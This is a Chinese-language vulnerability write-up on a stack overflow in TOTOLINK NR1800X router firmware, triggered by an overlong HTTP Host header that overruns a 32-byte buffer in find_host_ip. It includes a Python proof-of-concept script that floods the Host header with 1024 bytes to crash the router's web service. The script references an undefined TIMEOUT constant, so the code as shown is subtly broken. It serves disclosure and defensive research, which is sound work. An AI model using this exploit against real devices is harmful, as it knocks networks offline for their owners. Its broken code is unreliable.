# TOTOLINK NR1800X 固件栈溢出漏洞总结 ## 漏洞概述 在 TOTOLINK NR1800X 固件的 HTTP 请求解析逻辑中存在栈溢出漏洞。未认证的攻击者可以通过发送超长的 `Host` 头部触发内存损坏,导致服务崩溃(DoS)。 ## 影响范围 - **厂商**: TOTOLINK - **受影响产品**: C834FR-1C (NR1800X) - **受影响固件版本**: V9.1.0u6279_B20210910 - **固件下载地址**: https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/idu/36.html ## 修复方案 目前页面未提供官方修复补丁或升级建议。建议用户联系厂商获取安全更新,或在网络边界部署防火墙规则限制异常 HTTP 请求。 ## POC 代码 ```python #!/usr/bin/env python3 import socket TARGET = "192.168.211.128" PORT = 80 PATH = "/formLoginAuth.htm?authCode=&action=login" def send_once(host_value: str): req = ( f"GET {PATH} HTTP/1.1\r\n" f"Host: {host_value}\r\n" "Connection: close\r\n\r\n" ).encode() with socket.create_connection((TARGET, PORT), timeout=TIMEOUT) as s: s.sendall(req) payload = "A" * 0x400 send_once(payload) ``` ## 漏洞细节 1. 入口点为正常的 HTTP 请求处理函数 `http_request_parse`。 2. `Host` 头部值被提取并转发给 `find_host_ip`。 3. `find_host_ip` 执行字节拷贝行为,缺乏严格的长度验证。 4. 调用者中的目标是一个小的栈缓冲区 (`char v113[32]`),导致栈覆盖风险。 5. 发送长 `Host` 值(例如 512+ 字节)可可靠地破坏或崩溃该固件/实验室环境中的服务。 ## 效果 - **攻击前**: 目标 Web 服务正常响应(如 302 重定向)。 - **攻击后**: 发送长 Host 头部后,服务变得不可用(连接被拒绝)。